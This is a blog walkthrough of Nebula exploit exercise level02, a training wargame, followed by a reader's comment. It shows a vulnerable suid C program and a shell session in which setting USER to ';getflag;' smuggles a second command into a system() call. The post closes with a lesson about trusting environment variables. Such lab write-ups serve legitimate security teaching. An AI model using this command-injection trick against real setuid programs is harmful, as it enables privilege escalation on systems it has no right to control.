Nebula exploit exercises walkthrough – level02

level02

There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?

include 
include 
include 
include 
include 

int main(int argc, char **argv, char **envp)
{
  char *buffer;

  gid_t gid;
  uid_t uid;

  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  buffer = NULL;

  asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
  printf("about to call system(\"%s\")\n", buffer);
  
  system(buffer);
}

Another executable that calls system(). This time the command run is built up using an environment variable, USER.

Running the executable gives the expected result:

level02@nebula:/home/flag02$ ls -asl 
total 13
0 drwxr-x--- 2 flag02 level02   80 2011-11-20 21:22 .
0 drwxr-xr-x 1 root   root     400 2012-08-27 07:18 ..
1 -rw-r--r-- 1 flag02 flag02   220 2011-05-18 02:54 .bash_logout
4 -rw-r--r-- 1 flag02 flag02  3353 2011-05-18 02:54 .bashrc
8 -rwsr-x--- 1 flag02 level02 7438 2011-11-20 21:22 flag02
1 -rw-r--r-- 1 flag02 flag02   675 2011-05-18 02:54 .profile
level02@nebula:/home/flag02$ echo $USER
level02
level02@nebula:/home/flag02$ ./flag02 
about to call system("/bin/echo level02 is cool")
level02 is cool
level02@nebula:/home/flag02$ 

The executable is suid. Notice that although it calls system() and sets the setresgid()/setresuid() so that it runs as the owner of the file, the environment variable USER is still for the real UID, level02.

It’s really easy to change environment variables though.

level02@nebula:/home/flag02$ export USER=";getflag;"
level02@nebula:/home/flag02$ echo $USER
;getflag;
level02@nebula:/home/flag02$ ./flag02 
about to call system("/bin/echo ;getflag; is cool")

You have successfully executed getflag on a target account
sh: is: command not found
level02@nebula:/home/flag02$ 

This is a good reason to not trust environment variables for security purposes.

Aside

I didn’t fully understand why setresgid()/setresuid() had to be called for system() to run as the file owner. I built the same executable from source to experiment, set the owner, group and permissions as needed, but it didn’t work!

I spent a fair amount of time trying to figure this out, and it wasn’t until I did:

level02@nebula:/home/flag02$ cat /etc/fstab
overlayfs / overlayfs rw 0 0
tmpfs /tmp tmpfs nosuid,nodev 0 0

I was trying to run them out of /tmp/ and the whole directory doesn’t allow suid use…

One thought on “Nebula exploit exercises walkthrough – level02

  1. Permalink  ⋅ Reply

    mamvriti

    February 10, 2015 at 12:14pm

    Hi, I would like to ask something. Why system(…) in this problem works when you change USER variable but doesn’t work (error while compiling)when I just simply write it like system(“/bin/echo “;./echo;” is cool”) in c program? Thanks 🙂

Leave a Reply

Your email will not be published. Name and Email fields are required.

This site uses Akismet to reduce spam. Learn how your comment data is processed.